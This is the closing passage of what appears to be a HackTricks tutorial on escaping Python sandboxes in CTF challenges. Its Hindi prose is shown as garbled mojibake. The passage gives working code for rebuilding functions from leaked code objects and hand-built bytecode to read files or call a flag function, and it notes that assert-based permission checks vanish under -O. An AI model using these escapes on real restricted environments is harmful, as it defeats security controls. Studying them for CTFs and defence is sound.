рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо рдлрд╝рдВрдХреНрд╢рди рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рд╕реЗ рд╕реАрдзреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рдбреЗрдЯрд╛ рд▓реЗрдВрдЧреЗред рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рди code_type
рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдорд╛рди рд╡рд╣ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред
{% endhint %}
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
Bypass Defenses
In previous examples at the beginning of this post, you can see рдХреИрд╕реЗ рдХрд┐рд╕реА рднреА python рдХреЛрдб рдХреЛ compile
рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ. рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдкреВрд░реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓реВрдк рдФрд░ рд╕рдм рдХреБрдЫ рдХреЗ рд╕рд╛рде рдПрдХ рд▓рд╛рдЗрди рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рд╣рдо exec
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдРрд╕рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ).
рдЦреИрд░, рдХрднреА-рдХрднреА рдпрд╣ рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рдореЗрдВ рдПрдХ рд╕рдВрдХрд▓рд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рдФрд░ рдЗрд╕реЗ CTF рдорд╢реАрди рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ CTF рдореЗрдВ compiled
рдлрд╝рдВрдХреНрд╢рди рдирд╣реАрдВ рд╣реИ).
For example, let's compile and execute manually a function that reads ./poc.py:
#Locally
def read():
return open("./poc.py",'r').read()
read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')
# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
рдпрджрд┐ рдЖрдк eval
рдпрд╛ exec
рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдПрдХ рд╕рд╣реА рдлрд╝рдВрдХреНрд╢рди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдирд╛ рдЖрдорддреМрд░ рдкрд░ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛: constructor restricted mode рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИред рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП restricted environment рдореЗрдВ рди рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдлрд╝рдВрдХреНрд╢рди рдЪрд╛рд╣рд┐рдПред
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
рд╕рдВрдХрд▓рд┐рдд рдкрд╛рдпрдерди рдХреЛ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд░рдирд╛
рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬреИрд╕реЗ рдХрд┐ https://www.decompiler.com/ рдХреЛрдИ рджрд┐рдП рдЧрдП рд╕рдВрдХрд▓рд┐рдд рдкрд╛рдпрдерди рдХреЛрдб рдХреЛ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЛ рджреЗрдЦреЗрдВ:
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} .pyc.md {% endcontent-ref %}
рд╡рд┐рд╡рд┐рдз рдкрд╛рдпрдерди
Assert
рдкрд╛рдпрдерди рдХреЛ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдХреЗ рд╕рд╛рде -O
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдиреЗ рдкрд░ рдПрд╕реЗрдЯ рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдФрд░ debug рдХреЗ рдорд╛рди рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХреЛрдИ рднреА рдХреЛрдб рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдЗрд╕рд▓рд┐рдП, рдЬрд╛рдБрдЪреЗрдВ рдЬреИрд╕реЗ
def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
will be bypassed
References
- https://lbarman.ch/blog/pyjail/
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
- https://gynvael.coldwind.pl/n/python_sandbox_escape
- https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
- https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6
{% hint style="success" %}
рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ telegram рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter ЁЯРж рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ @hacktricks_live.
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред